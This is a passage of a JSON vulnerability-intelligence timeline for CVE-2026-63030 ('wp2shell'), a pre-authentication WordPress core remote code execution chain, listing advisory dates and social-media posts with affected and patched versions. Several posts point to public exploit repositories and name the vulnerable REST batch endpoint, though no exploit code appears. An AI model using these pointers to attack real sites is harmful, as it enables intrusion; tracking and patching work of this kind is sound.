{"metadata": {"vulnerability": "CVE-2026-63030", "count": 519, "kinds": {"milestone": 10, "sighting": 476, "kev": 15, "other": 18}}, "data": [{"timestamp": "2025-08-04T16:30:00Z", "date_only": false, "value": "2025-08-04T16:30:00Z", "kind": "other", "label": "Document generated", "source": "csaf_ncscnl \u00b7 NCSC-2026-0250", "record": "NCSC-2026-0250", "field": "document.tracking.generator.date"}, {"timestamp": "2026-07-17T00:00:00Z", "date_only": true, "value": "2026-07-17", "kind": "milestone", "label": "Published", "source": "certfr_alerte \u00b7 CERTFR-2026-ALE-007", "record": "CERTFR-2026-ALE-007", "field": "vendor_advisories.0.published_at"}, {"timestamp": "2026-07-17T00:00:00Z", "date_only": true, "value": "2026-07-17", "kind": "milestone", "label": "Published", "source": "certfr_avis \u00b7 CERTFR-2026-AVI-0904", "record": "CERTFR-2026-AVI-0904", "field": "vendor_advisories.0.published_at"}, {"timestamp": "2026-07-17T17:17:24.474Z", "date_only": false, "value": "2026-07-17T17:17:24.474Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2026-63030", "field": "cveMetadata.dateReserved"}, {"timestamp": "2026-07-17T19:14:12.910Z", "date_only": false, "value": "2026-07-17T19:14:12.910Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2026-63030", "field": "cveMetadata.datePublished"}, {"timestamp": "2026-07-17T20:17:00Z", "date_only": false, "value": "2026-07-17T20:17:00Z", "kind": "milestone", "label": "Published", "source": "osv_ubuntu \u00b7 UBUNTU-CVE-2026-63030", "record": "UBUNTU-CVE-2026-63030", "field": "published"}, {"timestamp": "2026-07-17T20:17:28.490Z", "date_only": false, "value": "2026-07-17T20:17:28.490", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2026-63030", "record": "FKIE_CVE-2026-63030", "field": "published"}, {"timestamp": "2026-07-17T21:19:56.512Z", "date_only": false, "value": "2026-07-17T21:19:56.512978Z", "kind": "sighting", "label": "Seen", "source": "https://chaos.social/users/christopherkunz/statuses/116937404931312120", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "505aeac8-cc87-4698-8ac6-70db547135b5", "content": "@shellsharks New fodder for vulnerability.garden: wp2shell is  CVE-2026-63030  / https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q", "url": "https://chaos.social/users/christopherkunz/statuses/116937404931312120"}, {"timestamp": "2026-07-17T22:19:07.207Z", "date_only": false, "value": "2026-07-17T22:19:07.207536Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/infosecbot.bsky.social/post/3mqursxmdqy2o", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "b24f7834-769f-4861-806b-e97ca3c27b81", "content": "The watchTowr team is rapidly reacting to the Remote Code Execution vulnerability chain (CVE-2026-63030 and CVE-2026-60137) in WordPress Core across our client-base, a just-disclosed flaw in the REST API batch dispat\u2026\n\n\u2014 from @watchtowrcyber (https://x.com/watchtowrcyber/status/2078238662827917416)", "url": "https://bsky.app/profile/infosecbot.bsky.social/post/3mqursxmdqy2o"}, {"timestamp": "2026-07-17T22:53:06.234Z", "date_only": false, "value": "2026-07-17T22:53:06.234260Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/DarkWebInformer/statuses/116937771276303472", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "a099dd80-0926-427b-8baf-450f57862ed0", "content": "\u203c\ufe0f\ud83d\udea8 CVE-2026-63030 // wp2shell-poc: Proof-of-concept for an unauthenticated SQL injection in WordPress core that chains to remote code execution, via REST batch route confusion.\nPoC: https://github.com/Icex0/wp2shell-poc", "url": "https://infosec.exchange/users/DarkWebInformer/statuses/116937771276303472"}, {"timestamp": "2026-07-17T22:55:35.187Z", "date_only": false, "value": "2026-07-17T22:55:35.187183Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/mentedehackers.bsky.social/post/3mqutu6oo4l2j", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "2ed14d89-b224-4fe2-aa05-a979f47ce93f", "content": "Vulnerabilidad cr\u00edtica CVE-2026-63030 permite ejecuci\u00f3n remota en WordPress\n\nUna falla cr\u00edtica en WordPress Core permite ejecuci\u00f3n remota de c\u00f3digo sin\u2026\n\nhttps://mentehackers.com/vulnerabilidad-critica-wordpress-ejecucion-remota-2fecc5d2\n#Ciberseguridad #Tecnologia #MenteHackers", "url": "https://bsky.app/profile/mentedehackers.bsky.social/post/3mqutu6oo4l2j"}, {"timestamp": "2026-07-18T01:00:04.435Z", "date_only": false, "value": "2026-07-18T01:00:04.435995Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/93906", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "c3e27ce0-d4cd-496f-90bd-9b23feb8356c", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-poc\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Icex0\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-17 22:59:11\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-63030\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/93906"}, {"timestamp": "2026-07-18T01:11:30.260Z", "date_only": false, "value": "2026-07-18T01:11:30.260993Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/vritrasecnews.bsky.social/post/3mqv3h7ulb424", "record": "cve-2026-63030", "field": "creation_timestamp", "uuid": "84ae4c69-b7b1-4fc9-bc56-021e73f5622a", "content": "Overview On July 17, 2026, a GitHub Security Advisory was published for CVE-2026-63030 , a critical unauthenticated remote code execution vulnerability affecting...\n\n\ud83d\udd17 https://www.rapid7.com/blog/post/etr-cve-2026-63030-wp2shell-a-critical-remote-code-execution-vulnerability-in-wordpress-core", "url": "https://bsky.app/profile/vritrasecnews.bsky.social/post/3mqv3h7ulb424"}, {"timestamp": "2026-07-18T01:47:37.920Z", "date_only": false, "value": "2026-07-18T01:47:37.920098Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqv5hsbvy52p", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "313fd943-785c-43be-a929-5093980177cd", "content": "CVE-2026-63030: WordPress Core's Remote Code Execution Threat Demands Urgent Action #WordPress #CyberSecurity #RemoteCodeExecution", "url": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqv5hsbvy52p"}, {"timestamp": "2026-07-18T01:48:36.447Z", "date_only": false, "value": "2026-07-18T01:48:36.447589Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqv5jkuofv2f", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "d1a6b4a7-90b5-49e1-8926-743e48e2efde", "content": "CVE-2026-63030: WordPress Core Vulnerability Exposes Sites to Total Compromise #WordPress #CyberSecurity #Vulnerability", "url": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqv5jkuofv2f"}, {"timestamp": "2026-07-18T01:48:38.560Z", "date_only": false, "value": "2026-07-18T01:48:38.560122Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqv5jmndsy2m", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "f1b80b4b-1ace-467f-9481-e614d15427e5", "content": "CVE-2026-63030: WordPress Core Faces Unprecedented Remote Code Risks #CVE202663030 #WordPress #CyberSecurity", "url": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqv5jmndsy2m"}, {"timestamp": "2026-07-18T01:48:40.229Z", "date_only": false, "value": "2026-07-18T01:48:40.229135Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqv5jogmvf2f", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "76823fc1-0bee-4e8e-93f8-efd7dc80c361", "content": "CVE-2026-63030: WordPress Core Vulnerability Reveals Process Failures #WordPressSecurity #CVE2026 #CyberSecurity", "url": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqv5jogmvf2f"}, {"timestamp": "2026-07-18T01:48:42.146Z", "date_only": false, "value": "2026-07-18T01:48:42.146456Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqv5jqajdl2u", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "572b1482-e0d2-4942-a6c1-77bbf0935861", "content": "CVE-2026-63030: WordPress Vulnerability Highlights Patch-Only Mentality #CVE2026 #WordPressSecurity #CyberSecurity", "url": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqv5jqajdl2u"}, {"timestamp": "2026-07-18T01:48:43.823Z", "date_only": false, "value": "2026-07-18T01:48:43.823400Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqv5jrwqtt2l", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "2f9d57ab-bb77-4794-945a-2890ffd791b9", "content": "CVE-2026-63030: Is the WordPress RCE Vulnerability a Looming Crisis? #WordPress #CyberSecurity #RCEVulnerability", "url": "https://bsky.app/profile/cybernewsroom.bsky.social/post/3mqv5jrwqtt2l"}, {"timestamp": "2026-07-18T01:53:52.198Z", "date_only": false, "value": "2026-07-18T01:53:52.198937Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pingoru.bsky.social/post/3mqv5sy6vwi2n", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "dc8e7020-aa2f-49f9-90e1-f61686d10f40", "content": "\ud83d\udd34 Liquid Web is reporting a Major Outage since 01:48 UTC\n\n\"WP2Shell Wordpress Core Critical Remote Code Execution Vulnerabilities, CVE-2026-60137 and CVE-2026-63030\"\n\nLive timeline \u2192 https://pingoru.io/providers/liquid-web/incidents/6534739\n\n#LiquidWeb #LiquidWebDown", "url": "https://bsky.app/profile/pingoru.bsky.social/post/3mqv5sy6vwi2n"}, {"timestamp": "2026-07-18T01:56:02.108Z", "date_only": false, "value": "2026-07-18T01:56:02.108843Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mqv5wtavp52e", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "5b068d9e-d502-4b09-8439-f9d698a2a738", "content": "WordPress pre-auth RCE CVE-2026-63030 chains a REST batch bug with SQL injection. Details and a public PoC are out. Update to WordPress 7.0.2 now.\n\n#WordPress #PreAuthRCE #CVE202663030 #SQLInjection #wp2shell #WebSecurity #InfoSec", "url": "https://bsky.app/profile/securityonline.bsky.social/post/3mqv5wtavp52e"}, {"timestamp": "2026-07-18T02:00:04.305Z", "date_only": false, "value": "2026-07-18T02:00:04.305456Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/93917", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "e5b38b32-833a-461e-a484-b7896f88afd6", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wordpress-cve-2026-63030\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Senanfurkan\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-18 00:44:24\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPre-auth RCE in WordPress Core via REST API batch route confusion + WP_Query SQLi (CVE-2026-63030 / CVE-2026-60137). Detection PoC.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/93917"}, {"timestamp": "2026-07-18T03:00:03.306Z", "date_only": false, "value": "2026-07-18T03:00:03.306069Z", "kind": "sighting", "label": "Confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-63030.yaml", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "7d3c0447-9508-4e59-a928-34cc135994aa", "url": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2026/CVE-2026-63030.yaml"}, {"timestamp": "2026-07-18T03:01:37.166Z", "date_only": false, "value": "2026-07-18T03:01:37.166163Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/termsofsurrender.bsky.social/post/3mqvbm4vgrd2b", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "a3a12df0-5f3b-478d-a8b7-ffe5836e4321", "content": "WordPress Trips Over a Public RCE While Bureaucracy Hides Under Its Desk\nPANIC 88% | Lag 0.0h | WordPress CVE-2026-63030 is a pre-authentication remote code execution chain involving a REST batch \n#AfterShockIndex\nREAD MORE", "url": "https://bsky.app/profile/termsofsurrender.bsky.social/post/3mqvbm4vgrd2b"}, {"timestamp": "2026-07-18T04:13:49.898Z", "date_only": false, "value": "2026-07-18T04:13:49.898Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / WPScan", "record": "CVE-2026-63030", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2026-07-18T05:02:50.136Z", "date_only": false, "value": "2026-07-18T05:02:50.136596Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/usounds.work/post/3mqvieupl2s4g", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "460e0734-f14d-4b7c-8d41-99db2df1b045", "content": "\u91d1\u66dc\u65e5\u306b\u3053\u3046\u3044\u3046\u60c5\u5831\u3092\u51fa\u3059\u306e\u306f\u3084\u3081\u3088\u3046\u306d\u3002\uff08\u3044\u3064\u3082\u52a9\u304b\u3063\u3066\u307e\u3059\u3042\u308a\u304c\u3068\u3046\u3054\u3056\u3044\u307e\u3059\uff09\nhttps://www.cve.org/CVERecord?id=CVE-2026-63030\n\nWordPress < 7.0.2 - REST API batch-route confusion and SQL injection issue leading to Remote Code Execution\nCVE\uff1a9.1", "url": "https://bsky.app/profile/usounds.work/post/3mqvieupl2s4g"}, {"timestamp": "2026-07-18T05:16:05.476Z", "date_only": false, "value": "2026-07-18T05:16:05.476419Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqvj4l5xuu2v", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "a14b30b3-1806-45a5-a798-192ce1ee9050", "content": "CVE-2026-63030 - wordpress\nCertain versions of WordPress are vulnerable to a remote code execution attack through its REST API. This can happen if an attacker exploits a SQL injection flaw in the way WordPress\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#wordpress #CVE #infosec", "url": "https://bsky.app/profile/stackflag.bsky.social/post/3mqvj4l5xuu2v"}, {"timestamp": "2026-07-18T06:00:05.026Z", "date_only": false, "value": "2026-07-18T06:00:05.026547Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/93933", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "6b3c920e-6454-4027-84ed-5b7fe0c5db20", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-lab\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 47Cid\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-18 03:53:33\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nEducational PoC + lab for CVE-2026-63030 + CVE-2026-60137: pre-auth SQLi in WordPress core via REST batch-route confusion\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/93933"}, {"timestamp": "2026-07-18T06:07:26.237Z", "date_only": false, "value": "2026-07-18T06:07:26.237103Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/lalgorisme.bsky.social/post/3mqvlxtsavk2d", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "dde68938-56a2-4dd7-a1cb-31fa10de0fac", "content": "\ud83d\udea8 wp2shell: RCE cr\u00edtic al nucli de WordPress, no en cap plugin. Una petici\u00f3 an\u00f2nima pot desembocar en execuci\u00f3 de codi al servidor. \nAfecta: 6.9.0\u20136.9.4 i 7.0.0\u20137.0.1. \nEs soluciona amb les versions: 7.0.2/6.9.5/6.8.6. \nCVE-2026-63030 i CVE-2026-60137.\nclaude.ai/public/artif...", "url": "https://bsky.app/profile/lalgorisme.bsky.social/post/3mqvlxtsavk2d"}, {"timestamp": "2026-07-18T06:11:07.746Z", "date_only": false, "value": "2026-07-18T06:11:07.746384Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/ap/users/116810780845358081/statuses/116939389643192070", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "7c0a8b81-23bf-4910-ae44-1c45513f0dfe", "content": "\ud83d\udea8 CRITICAL: WordPress Core \"wp2shell\" RCE\nA single anonymous HTTP request can lead to Remote Code Execution on vulnerable WordPress Core installations.\n\u26a0\ufe0f No plugins.\u26a0\ufe0f No themes.\u26a0\ufe0f No authentication required.\nTracked as:\ud83d\udd34 CVE-2026-63030 (REST API Batch Route Confusion \u2192 RCE)\ud83d\udd34 CVE-2026-60137 (Facilitated SQL Injection)\nAffected versions\u2022 WordPress 6.9.0\u20136.9.4\u2022 WordPress 7.0.0\u20137.0.1\n\u2705 Update immediately to WordPress 6.9.5 or 7.0.2. Due to the severity, WordPress has enabled forced automatic security updates for affected installations.\n\ud83d\udd17 Full technical analysis:https://thecybersecguru.com/news/wordpress-core-rce-wp2shell/\n#WordPress #WordPressSecurity #wp2shell #CVE202663030 #CVE202660137 #RCE #RemoteCodeExecution #SQLInjection #RESTAPI #CyberSecurity #InfoSec #WebSecurity #WebsiteSecurity #PatchNow #ThreatIntelligence #BlueTeam #SOC #Linux #PHP #ZeroDay #SecurityResearch #SysAdmin #DevSecOps", "url": "https://infosec.exchange/ap/users/116810780845358081/statuses/116939389643192070"}, {"timestamp": "2026-07-18T06:19:46.762Z", "date_only": false, "value": "2026-07-18T06:19:46.762334Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/365tipu.cz/post/3mqvmoh65uq2w", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "069a2b4c-1d20-48da-bffe-a947780bd1db", "content": "Pokud jste je\u0161t\u011b nektualizovali WordPress tak zbyst\u0159ee, jsou tam dv\u011b z\u00e1va\u017en\u00e9 chyby p\u0159\u00edmo v j\u00e1d\u0159e. CVE-2026-60137: SQL injection a CVE-2026-63030: Unauthenticated remote code execution.", "url": "https://bsky.app/profile/365tipu.cz/post/3mqvmoh65uq2w"}, {"timestamp": "2026-07-18T06:28:59.399Z", "date_only": false, "value": "2026-07-18T06:28:59.399175Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/javiercasares.com/post/3mqvn6wa3bs23", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "abfb5faf-ee7c-484a-b1b0-1e48e2a9612e", "content": "#WordPress #Seguridad\nSi usas WordPress 6.9, 6.9 o 7.0, actualiza a las \u00faltimas versiones disponibles. Hay unos parches de seguridad que corrigen 2 elementos cr\u00edticos (RCE / SQLi).\n- CVE-2026-60137: corrigen: 6.8.6 - 6.9.5 - 7.0.2\n- CVE-2026-63030: corrigen: 6.9.5 - 7.0.2", "url": "https://bsky.app/profile/javiercasares.com/post/3mqvn6wa3bs23"}, {"timestamp": "2026-07-18T06:55:35.885Z", "date_only": false, "value": "2026-07-18T06:55:35.885956Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/suriq.io/post/3mqvooirnl62e", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "a1cffc50-27e4-45e7-9065-f030ffd1dbfb", "content": "\u26a0\ufe0f PATCH NOW\n\nWordPress Core 6.9 and 7.0 have an unauthenticated code-execution bug (wp2shell, CVE-2026-63030): one anonymous request can take over a default site.\n\nNo exploitation seen yet, but a scanner is public.\n\nUpdate to 6.9.5 or 7.0.2 now.", "url": "https://bsky.app/profile/suriq.io/post/3mqvooirnl62e"}, {"timestamp": "2026-07-18T07:00:04.344Z", "date_only": false, "value": "2026-07-18T07:00:04.344881Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/93946", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "0aedebe7-8c6b-49c7-8036-49b7a348dc58", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Lutfifakee-Project\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-18 05:57:09\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nwp2shell - WordPress CVE-2026-63030 Exploit & Scanner\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/93946"}, {"timestamp": "2026-07-18T07:49:59.828Z", "date_only": false, "value": "2026-07-18T07:49:59.828014Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/netalexx.bsky.social/post/3mqvrpqirgc2x", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "7288ad59-25b3-48bf-91b3-c9d076e36fa7", "content": "WordPress Core 6.9 and 7.0 carry wp2shell (CVE-2026-63030), an unauthenticated remote code execution flaw. Update to 6.9.5 or 7.0.2", "url": "https://bsky.app/profile/netalexx.bsky.social/post/3mqvrpqirgc2x"}, {"timestamp": "2026-07-18T07:57:46.279Z", "date_only": false, "value": "2026-07-18T07:57:46.279462Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/securestep9.bsky.social/post/3mqvs5q5aac2z", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "0928ca89-f550-4da7-a087-e179246e1181", "content": "#Wordpress: Critical Remote Code Execution (#RCE) chain of vulnerabilities CVE-2026-63030 and #SQLi SQL Injection CVE-2026-60137 dubbed #wp2shell in WordPress Core threaten 500+ million of websites. \nPatch now!:\n\ud83d\udc47\nthehackernews.com/2026/07/new-...", "url": "https://bsky.app/profile/securestep9.bsky.social/post/3mqvs5q5aac2z"}, {"timestamp": "2026-07-18T08:00:03.980Z", "date_only": false, "value": "2026-07-18T08:00:03.980720Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/thehackernews/9544", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "46911a31-4bc0-4cd4-9a73-ae1db6d3debb", "content": "\u26a1 UPDATE: #wp2shell now has two CVEs, and a working proof-of-concept is public.\n\n> CVE-2026-63030 breaks REST batch routing\n> CVE-2026-60137 injects SQL\n\nChained, they give an anonymous attacker code execution on affected WordPress sites.\n\nHow the exploit path works: https://thehackernews.com/2026/07/new-wp2shell-wordpress-core-flaw-lets.html", "url": "https://t.me/thehackernews/9544"}, {"timestamp": "2026-07-18T08:18:41.390Z", "date_only": false, "value": "2026-07-18T08:18:41.390778Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/donwebmedia.bsky.social/post/3mqvtd3j3g32u", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "12f8d83a-ec83-45cd-b349-ae9222d1690a", "content": "wp2shell: la RCE de WordPress que afecta tu hosting\n\nTu hosting WordPress es vulnerable a wp2shell sin plugins extra. La RCE CVE-2026-63030 afecta el core: versiones afectadas, c\u00f3mo parchear y detectar com...\n\n#wp2shell #cve202663030 #rcewordpress #vulnerabilidadcore #wordpresssecurity", "url": "https://bsky.app/profile/donwebmedia.bsky.social/post/3mqvtd3j3g32u"}, {"timestamp": "2026-07-18T08:28:01.582Z", "date_only": false, "value": "2026-07-18T08:28:01.582781Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mqvtts4tm22m", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "9fd30f49-dd61-4c6f-b0b5-c2e7fce3fabb", "content": "\ud83e\udd16 CVE-2026-63030 / CVE-2026-60137: SQL injection in WP REST API batch endpoint allows unauthenticated RCE on all 6.9/7.0 sites. PoC published.\nhttps://thehackernews.com/2026/07/new-wp2shell-wordpress-core-flaw-lets.html", "url": "https://bsky.app/profile/newssecia.bsky.social/post/3mqvtts4tm22m"}, {"timestamp": "2026-07-18T08:43:23.321Z", "date_only": false, "value": "2026-07-18T08:43:23.321492Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/tomcat/statuses/116940092329234240", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "0d7d610e-71c0-4513-8213-43caf15a7018", "content": "\u26a1 UPDATE: #wp2shell now has two CVEs, and a working proof-of-concept is public.\n> CVE-2026-63030 breaks REST batch routing> CVE-2026-60137 injects SQL\nChained, they give an anonymous attacker code execution on affected WordPress sites.\nHow the exploit path works: https://thehackernews.com/2026/07/new-wp2shell-wordpress-core-flaw-lets.html", "url": "https://infosec.exchange/users/tomcat/statuses/116940092329234240"}, {"timestamp": "2026-07-18T09:00:04.319Z", "date_only": false, "value": "2026-07-18T09:00:04.319085Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/93958", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "802fbb6c-53c4-4274-9c42-8f53fd5b99c4", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a WP2Shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a NULL200OK\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-18 07:52:36\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWP2Shell - CVE-2026-63030 / CVE-2026-60137 This tool exploits a critical SQL injection vulnerability in the WordPress REST API `/wp-json/batch/v1` endpoint, allowing unauthenticated attackers to execute arbitrary SQL queries and achieve Remote Code Execution (RCE) on vulnerable WordPress installations.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/93958"}, {"timestamp": "2026-07-18T09:00:04.410Z", "date_only": false, "value": "2026-07-18T09:00:04.410802Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/93950", "record": "CVE-2026-63030", "field": "creation_timestamp", "uuid": "d043df71-2efb-4251-a7d9-6bdda5dac2af", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ekomsSavior\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-18 06:55:20\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-63030 (RCE) + CVE-2026-60137 (SQLi)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/93950"}, {"timestamp": "2026-07-18T10:46:01.187Z", "date_only": false, "value": "2026-07-18T10:46:01.187975Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/obivan/statuses/116940574604966863", "record": "cve-2026-63030", "field": "creation_timestamp", "uuid": "6bf24beb-0cc2-48f9-afbb-5c744005686d", "content": "wp2shell (CVE-2026-63030 